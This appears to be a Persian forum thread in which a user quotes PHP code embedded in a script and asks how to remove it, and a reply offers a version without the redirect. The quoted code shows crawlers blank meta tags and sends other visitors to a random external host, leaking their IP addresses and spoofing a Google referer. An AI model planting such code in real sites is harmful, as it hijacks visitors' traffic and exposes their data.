
نوشته اصلی توسط
fr0nk
با سلام
توی یک سیستمی برای جلوگیری از استفاده یه کد به کار رفته که کلا هرجا نصب کنید هر ادرسی بزنید میره سایت که شخص ست کرده
کد:
<?php
date_default_timezone_set('Asia/Tehran');
if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else if(!(strpos($_SERVER[HTTP_HOST],'server') !== false))
{
$url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");
header("Referer: https://www.google.com/");
header("Location: ".$url);
header("Referer: https://www.google.com/");
exit();
}
else
{
echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
}
?>
مشکل رو else if هست
حذف بشه هم اسکریپت کامل نمیاد بالا
ادرس متغیر url هم عوض بشه ارور های مثلا Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRIng میده
راه حل دوستان
اگر فرض کنیم که این کد به جای دیگه ای یا به کد های پایینش وابسطه نباشه
در نتیجه تغییرات به این صورت هرگز ارور نباید بده
کد:
<?php
date_default_timezone_set('Asia/Tehran');
if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else if(!(strpos($_SERVER["HTTP_HOST"],'server') !== false))
{
echo '<title></title>'.
'<meta name="keywords" content="">'.
'<meta name="description" content="">'.
'<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
'<meta name="copyright" content="">'.
'<META NAME="Language" CONTENT="persian">'.
'<meta name="reply-to" content="" />'.
'<meta name="revisit-after" content="1 days">'.
'<meta name="revisit-after" content="1 day">';
}
else
{
echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
}
?>